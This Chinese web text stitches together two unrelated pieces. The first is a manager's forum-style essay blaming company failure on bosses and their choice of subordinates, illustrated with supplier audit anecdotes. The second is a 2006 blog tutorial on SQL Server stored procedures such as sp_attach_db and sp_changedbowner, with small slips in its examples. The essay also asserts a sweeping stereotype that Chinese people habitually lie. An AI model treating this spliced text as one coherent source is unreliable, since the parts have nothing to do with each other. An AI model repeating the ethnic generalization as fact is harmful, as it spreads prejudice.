现实生活更是如此,众多的投资者花很多精力建厂房,买设备。高薪用人,然而实际行走过程中,结果却总是出人意料,顿觉得有时力不从心,叹无人才可用,叹时机不对。 我想说的是资金累积过程的经验,现在不一定适用, 以前所成的种种,今天可能是失败的根源。 因为社会变的太快了。老旧的思想所招聘的人,只会走封闭的路线。 脱离现场太久,所招聘的人你已经无法能够真正地及时判定是否能真正为公司所用。公司最大的决策者就是老板, 所以就不难理解: 有什么样的老板,就有什么样的员工,就有什么样的工厂,就有什么样的结果。所有问题一环扣一环,最终是老板影响力最大。所以我看周遭的企业的成败,只要与老板一聊,基本就可以对其发展和业绩知道个7,8成。
那么如何才能正确地发展呢? 好听一点,就是有得力的左右手(看清楚了,左右手,也只是附属而已,而现在的所有媒体宣泄的都是左右手,所以误导。比如大家都看明星,却不知明星是被谁包装出来的。在我的眼中,策划的才是最厉害的)。不好听一点,就是要有心腹。 公司无忠于之士,必完!忠者而无能之士,必完! 忠者,就绝对不是那种阴奉阳为之辈(之所以败于君子,就是因为君子选人错误)。 自己的公司,自己的战略,就必须有这些忠者去执行。这样,一正百正。 否则选不对的人,不对的人再选错误的下属,错误的下属即使找得力的基层人员,也基本无济于事了。 因为最上面的因为自己的选择,已经很难听到真实的,有价值的信息了。
中国人本来就是善于一张嘴巴,善撒谎,却讷于行。 如果没有得力的左右手去检验相关位置的人的信息是否正确,如果没有能力去检验所用之人是否有责任?是否诚实?是否藏私心?只是坐在办公室里面充老大,那么哪里来的发展? 哪里来的健康? 以国家来说,就是国将不国。 以企业来说,就是苦了那些选择了这个企业的人。
我和别人不同的是,我的体会,都要自己所经历的,或者是观察所得的。才敢发表上面的结论,不然则为害世人。
我的一个客户(鉴于我周围的人基本都上HOME,所以企业名称就省略了),所生产的产品,也是世界上第二大的之类的×××。(至少老板在美国有飞机)。因为我喜欢调查任何一家与我相关的企业,来验证自己的能力如何? 在2001年的时候,对方过来稽核,我发现稽核的项目很是正规,也很多,基本上世界上的著名的条条款款都可以罗列一大堆,还好我在广东的时候经常经历这种场面。哇,当时我想,这边也这么多鬼东西。(后来才发现是公司管理过度,一个制造性的企业,制造的人没有几个,都是一大堆搞些吓死人的头衔的我至今都不知道是否有用的人在运作,)所谓来而不往非礼也。我去拜访拜访一下,以学习,学习。
到达目的地,随便逛逛,
1。问了一个仓库的人:
  “诶,装空调起什么作用,”
那个员工(我叫他至尊宝)顿时觉得我太无知了: “还有什么作用,不装空调人在里面不舒服呀。”
我又问,“那么你们要调多少度?”
这位小弟有些不耐烦了: “觉得热了,就调低点,冷了就高点。(反正就是不知道多少度?)。”

“那么这个温湿度表格怎么是空的? ”
回答: “我也不知道,本来就是空的,没有填写过。 ”
“你进来多久了?”
“半年多。”
(这样的问答,我不想说我心里在想什么?)

2。因为某个产品的某到工序要我公司加工。 于是经过批准后,跑到线上向他们提供的最资深的人请教:
“这个标准是什么? 我要注意什么?。。。。。。”
这位组长很细心的告诉我,连不能偏移0.2mm都不忘记告诉我。(当时倍感厉害)
“那你们现在在做这个吗? ”我问道。
“是,”
“我可以看看成品吗?”
“当然,” 回答很干脆。
“我看了10了,9个都不符合你给我的标准呀?” 我问。
“因为都是新手,又急于出货,其实这样也可以的。”

当时我差点没有晕倒。
在后续的时间里,我继续验证其余部门,品保,工程,研发。 发现每个部门都喜欢搞一套自己都不明白的(搞不好就是在HOME里面下载的资料)来进行供应商稽核,(某些资料到外面吹牛是有用)而自己却是云里雾里。 而且总经理也对知道的事情只是骂骂而已,我根本看不到行之有效的措施。然而最离谱的是,PCB出现问题,马上责任就推台湾去了。但是好像功劳就全部是自己的一般,其余皆是别人之过;真的让我汗颜。 不到半年,我就断定此公司必垮。 后面的不说大家想必知道了。
其二: 当时我所服务的公司,和另外一家基本同时起步,也是相当规模,就只有两条线。
在3年后,一个还是2条,一个却是8条了。业绩有如此之差别,我很是奇怪。因为几个企业都是用台湾员工, 是什么原因呢? 之所以会奇怪,是因为有次这家的员工有到我厂来重工过,我发现工作积极性,和工作技能不错。为什么会没有发展呢? 是老板不想赚钱吗?还是其他的什么原因。 因与其中一老总有过交流,就去公司呆了几十天: 一些规定都有, 一些技能也具备。为什么会别人不把东西给这边做呢? 继续看下去,问题来了。
一,从上到下,都推责任。
二,用人唯亲,拉帮结派。
三,处事不公,自己的亲戚犯错误,什么处罚都没有。其他的却是走人。
四,欺下瞒上,说着冠冕堂皇的理由一切是为了公司,私底下为了自己不惜出卖公司的利益。
五, 散播小道消息,背后说话,除了自己是清白以外,其余都是黑的。
今天我不知道业绩如何? 我只知道老板自己说要关门,做不下去了。初一看,哇,那些在公司这样弄的人太恶劣了,太卑鄙了,公司迟早被搞垮。 然而究其因,我看还是老板的原因。
难道这些事情,我们看的到,老板看不到吗? 难道老板是笨蛋吗? 我所交往的老板当中都基本是智慧很高的人,那为什么没有业绩呢? 为什么明知道障碍是什么却动不了了? 是气势吧! 随着年纪的增长,经验有了,但是气势却少了。然任何时候一个领导人如果没有气势,当然就被自己误用的人所左右。 我弱则敌强。没有气势,自己亏的是所有的资本和名望。而小人亏的大不了只是眼泪而已。
天下国家之事,败于小人者十一,败于君子者十九 我很支持这句话, 就是处于君臣而言,小人是很容易处理的, 他乱动,我罚,他乱人心,我杀。 主动皆在我手。 很难让其有什么大的破坏的。
并且我一路走来,和众多小人之斗争,有职位比我高的,有各种背景的,有台湾的,有大陆的,没有输过;如果说有输的,还不如说输给了自己, 输给了自己的虚荣心。 所以在我眼中,小人没有什么可怕。
最主要的是上面是什么样的老板?就可以决定有什么样的结果。 其实岳飞就是如此,我估计他一定有能力杀皇帝,也知道皇帝要杀他,为什么不叛变,为什么不弑君。 就是不想落个不忠不义,不仁不孝之名。我随着年龄越大,体会越深。如果哪位为企业忠心服务的仁兄位高权重而尽心尽责时却被老板误解和用非光明的手段进行限制和封杀,其实是很可悲的一件事情。如果哪位仁兄如此,本人很乐意交这个朋友!
今天发这个帖子,是想让各位在自己工厂为“君”的朋友,如果手下的人有问题,如果业绩不行,是他们的原因,还是自己的根本原因。是仍然沿着老的经验走下去,还是小心的采用新的办法恢复年轻的朝气冲一回。
制造性的工厂是需要实践性的人才的―――任何一个什么什么专家,不懂现场的言论在我眼中都是屁话,不仅没有一点帮助,还有巨大的副作用,我宁愿我这里的黎明静悄悄。
摘要:Sql Server自带的系统存储过程有许多,但大部分我们是不常用的。我在实践中根据自己的体会,总结整理了一些比较常用的,加上一些实例介绍给大家。本期介绍:

l         sp_attach_db

l         sp_attach_single_file_db

l         sp_changedbowner

l         sp_changeobjectowner

l         sp_column_privileges

1.1.        sp_attach_db
将数据库附加到服务器。

语法

sp_attach_db [ @dbname = ]’dbname’, [ @filename1 = ]’filename_n’ [ ,...16 ]

参数

[@dbname =]’dbname’

要附加到服务器的数据库的名称。该名称必须是唯一的。dbname 的数据类型为 sysname,默认值为 NULL。

[@filename1 =]’filename_n’

数据库文件的物理名称,包括路径。filename_n 的数据类型为 nvarchar(260),默认值为 NULL。最多可以指定 16 个文件名。参数名称以 @filename1 开始,递增到 @filename16。文件名列表至少必须包括主文件,主文件包含指向数据库中其它文件的系统表。该列表还必须包括数据库分离后所有被移动的文件。

返回代码值

0(成功)或 1(失败)

结果集

注释

只应对以前使用显式 sp_detach_db 操作从数据库服务器分离的数据库执行 sp_attach_db。如果必须指定多于 16 个文件,请使用带有 FOR ATTACH 子句的 CREATE DATABASE。

如果将数据库附加到的服务器不是该数据库从中分离的服务器,并且启用了分离的数据库以进行复制,则应该运行 sp_removedbreplication 从数据库删除复制。

权限

只有 sysadmin 和 dbcreator 固定服务器角色的成员才能执行本过程。

实例

如何从一台电脑上把SQL server数据库test拷贝到另外一台SQL server电脑上使用?

1. 先拷贝数据库test的两个文件,如:

D:\Program Files\Microsoft SQL Server\MSSQL\data\test.MDF 和

D:\Program Files\Microsoft SQL Server\MSSQL\data\test.LDF

2. 再执行:

EXEC sp_attach_db @dbname = N'test',
@filename1 = N'D:\Program Files\Microsoft SQL Server\MSSQL\data\test.MDF',
@filename2 = N'D:\Program Files\Microsoft SQL Server\MSSQL\data\test.LDF'

1.2.        sp_attach_single_file_db
将只有一个数据文件的数据库附加到当前服务器。

语法

sp_attach_single_file_db [ @dbname = ]’dbname’ , [ @physname = ]’physical_name’

参数

[@dbname =]’dbname’

要附加到服务器的数据库的名称。dbname 的数据类型为 sysname,默认值为 NULL。

[@physname =]’phsyical_name’

据库文件的物理名称,包括数路径。physical_name 的数据类型为 nvarchar(260),默认值为 NULL。

返回代码值

0(成功)或 1(失败)

结果集

注释

当使用 sp_attach_single_file_db 将数据库附加到服务器时,它创建一个新的日志文件并执行额外的清除工作,从新附加的数据库中删除复制。

仅对以前使用显式 sp_detach_db 操作从服务器分离的数据库执行 sp_attach_single_file_db。

权限

只有 sysadmin 和 dbcreator 固定服务器角色的成员才能执行本过程。

实例

我们也可以通过下列方法实现:如何从一台电脑上把SQL server数据库test拷贝到另外一台SQL server电脑上使用。

1. 只拷贝数据库test的一个文件,如:

D:\Program Files\Microsoft SQL Server\MSSQL\data\test.MDF

2. 再执行:

EXEC sp_attach_single_file_db @dbname = N'test',
@physname = N'D:\Program Files\Microsoft SQL Server\MSSQL\data\test.MDF'

1.3.        sp_changedbowner
更改当前数据库的所有者。

语法

sp_changedbowner [ @loginame = ]’login’  [ , [ @map = ] remap_alias_flag ]

参数

[@loginame =]’login’

当前数据库新所有者的登录 ID。login 的数据类型为 sysname,没有默认值。login 必须是已存在的 Microsoft® SQL Server™ 登录或 Microsoft Windows NT® 用户。如果 login 通过当前数据库内的现有别名或用户安全帐户已拥有访问该数据库的权限,则不能成为该数据库的所有者。为了避免这种情况,应先除去当前数据库中的别名或用户。

[@map =] remap_alias_flag

值为 true 或 false,表示旧数据库所有者 (dbo) 的现有别名是映射到当前数据库的新所有者还是要除去。remap_alias_flag 的数据类型为 varchar(5),默认值为 NULL,表示旧 dbo 的任何现有别名均映射到当前数据库的新所有者。false 表示除去旧数据库所有者的现有别名。

返回代码值

0(成功)或 1(失败)

注释

执行 sp_changedbowner 之后,新所有者称为数据库中的 dbo 用户。dbo 拥有执行数据库中所有活动的暗示性权限。

不能更改 master、model 或 tempdb 系统数据库的所有者。

若要显示有效 login 值的列表,请执行 sp_helplogins 存储过程。

执行只有 login 参数的 sp_changedbowner 会将数据库所有权改为 login,并将先前别名为 dbo 的用户别名映射到新数据库所有者。

权限

只有 sysadmin 固定服务器角色成员的成员或当前数据库的所有者才能执行 sp_changedbowner。

实例

当你不想让其他应用使用sa登陆SQL server的test数据库时,可以建立一个新的登陆名称如user01,然后将需要访问的数据库的所有者更改为user01即可。如:

Use test

go

Sp_changedbowner ’user01’

go

1.4.        sp_changeobjectowner
更改当前数据库中对象的所有者。

语法

sp_changeobjectowner [ @objname = ]’object’ , [ @newowner = ]’owner’

参数

[@objname =]’object’

当前数据库中现有的表、视图或存储过程的名称。object 的数据类型为 nvarchar(517),没有默认值。object 可用现有对象所有者限定,格式为 existing_owner.object。

[@newowner =]’owner’

即将成为对象的新所有者的安全帐户的名称。owner 的数据类型为 sysname,没有默认值。owner 必须是当前数据库中有效的 Microsoft® SQL Server™ 用户或角色或 Microsoft Windows NT® 用户或组。指定 Windows NT 用户或组时,请指定 Windows NT 用户或组在数据库中已知的名称(用 sp_grantdbaccess 添加)。

返回代码值

0(成功)或 1(失败)

注释

对象所有者(或拥有对象的组或角色的成员)对对象有特殊的权限。对象所有者可以执行任何与对象有关的 Transact-SQL 语句(例如 INSERT、UPDATE、DELETE、SELECT 或 EXECUTE),也可以管理对象的权限。

如果拥有对象的安全帐户必须要除去,但同时要保留该对象,请使用 sp_changeobjectowner 更改对象所有者。该过程从对象中删除所有现有权限。在运行 sp_changeobjectowner 之后,需要重新应用要保留的任何权限。

由于这个原因,建议在运行 sp_changeobjectowner 之前,编写现有权限的脚本。一旦更改了对象的所有权,可能要使用该脚本重新应用权限。在运行该脚本之前需要在权限脚本中修改对象所有者。

可以使用 sp_changedbowner 更改数据库的所有者。

权限

只有 sysadmin 固定服务器角色和 db_owner 固定数据库角色成员,或既是 db_ddladmin 固定数据库角色又是 db_securityadmin 固定数据库角色的成员,才能执行 sp_changeobjectowner。

实例

将表testtable的所有者修改为user02(假设已经存在),执行:

sp_changeobjectowner ’testtable’,’user02’

这样若以非user02登陆的连接,就不能直接看到testtable表中的数据了.但是若有读取权限可以使用user01前缀,如:

Select * from user01.testtable

1.5.        sp_column_privileges
返回当前环境中单个表的列特权信息。

语法

sp_column_privileges [ @table_name = ]’table_name’
         [ , [ @table_owner = ]’table_owner’ ]
         [ , [ @table_qualifier = ]’table_qualifier’ ]
         [ , [ @column_name = ]’column’ ]

参数

[@table_name =]’table_name’

用来返回目录信息的表。table_name 的数据类型为 sysname,没有默认值。不支持通配符模式匹配。

[@table_owner =]’table_owner’

是用于返回目录信息的表所有者。table_owner 的数据类型为 sysname,默认值为 NULL。不支持通配符模式匹配。如果没有指定 table_owner,则应用基础数据库管理系统 (DBMS) 默认的表的可视性规则。

在 Microsoft® SQL Server™ 中,如果当前用户拥有的表具有指定名称,则返回该表的列。如果没有指定 table_owner,并且当前用户不拥有指定 table_name 的表,则 sp_column_privileges 搜索数据库所有者拥有的指定 table_name 的表。如果有,则返回该表的列。

[@table_qualifier =]’table_qualifier’

是表限定符的名称。table_qualifier 的数据类型为 sysname,默认值为 NULL。多种 DBMS 产品支持表的三部分命名方式 (qualifier.owner.name)。在 SQL Server 中,该列表示数据库名。在某些产品中,该列表示表所在数据库环境的服务器名。

[@column_name =]’column’

是只获得一列目录信息时所使用的单个列。column 的数据类型为 nvarchar(384),默认值为 NULL。如果没有指定 column,将返回所有列。在 SQL Server 中,column 表示在 syscolumns 表中列出的列名。使用基础 DBMS 的通配符匹配模式,column 可以包含通配符。若要获得最佳的互操作性,网关客户端应假定只有 SQL-92 标准模式匹配(% 和 _ 通配符)。

结果集

sp_column_privileges 与 ODBC 中的 SQLColumnPrivileges 等价。返回的结果按 TABLE_QUALIFIER、TABLE_OWNER、TABLE_NAME、COLUMN_NAME 和 PRIVILEGE排序。

列名
 数据类型
 描述
 
TABLE_QUALIFIER
 sysname
 表限定符名称。该字段可以为 NULL。
 
TABLE_OWNER
 sysname
 表所有者名称。该字段始终返回值。
 
TABLE_NAME
 sysname
 表名。该字段始终返回值。
 
COLUMN_NAME
 sysname
 所返回的 TABLE_NAME 每列的列名。该字段始终返回值。
 
GRANTOR
 sysname
 将 COLUMN_NAME 上的权限授予所列 GRANTEE 的数据库用户名。在 SQL Server 中,该列总是和 TABLE_OWNER 相同。该字段始终返回值。

GRANTOR 列可以是数据库所有者 (TABLE_OWNER) 或数据库所有者通过 GRANT 语句中的 WITH GRANT OPTION 子句对其授予权限的用户。
 
GRANTEE
 sysname
 由所列 GRANTOR 授予 COLUMN_NAME 上的权限的数据库用户名。在 SQL Server 中,该列总是包括来自 sysusers 表的数据库用户。该字段始终返回值。
 
PRIVILEGE
 varchar(32)
 可用列权限中的一个。列权限可以是下列值中的一个(或定义执行时数据源支持的其它值):

SELECT = GRANTEE 可以检索列的数据。

INSERT = GRANTEE 向表插入新行时可以为该列提供数据。

UPDATE = GRANTEE 可以修改列中的现有数据。

REFERENCES = GRANTEE 可以引用主键/外键关系中外表中的列。主键/外键关系使用表约束定义。
 
IS_GRANTABLE
 varchar(3)
 指出是否允许 GRANTEE 为其他用户授予权限,经常称为"授予再授予 (grant with grant)"。可以是 YES、NO 或 NULL。未知的(或 NULL)值引用不能使用"授予再授予 (grant with grant)"的数据源。
 

 

注释

对于 SQL Server,可以用 GRANT 语句授予权限,用 REVOKE 语句除去权限。

权限

执行许可权限默认授予 public 角色。

实例

显示表test中各列的特权信息:

sp_column_privileges testable

 

test    dbo testtable   id  dbo dbo INSERT  YES

test    dbo testtable   id  dbo dbo REFERENCES  YES

test    dbo testtable   id  dbo dbo SELECT  YES

test    dbo testtable   id  dbo dbo UPDATE  YES

test    dbo testtable   name    dbo dbo INSERT  YES

test    dbo testtable   name    dbo dbo REFERENCES  YES

test    dbo testtable   name    dbo dbo SELECT  YES

test    dbo testtable   name    dbo dbo UPDATE  YES

 

以后各期的文章,会逐步为大家介绍其他的常用系统存储过程应用实例。敬请关注。

 

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=276128

 


 

posted on 2006-04-27 13:06  Sanle  阅读(8147)  评论(0编辑  收藏  举报

导航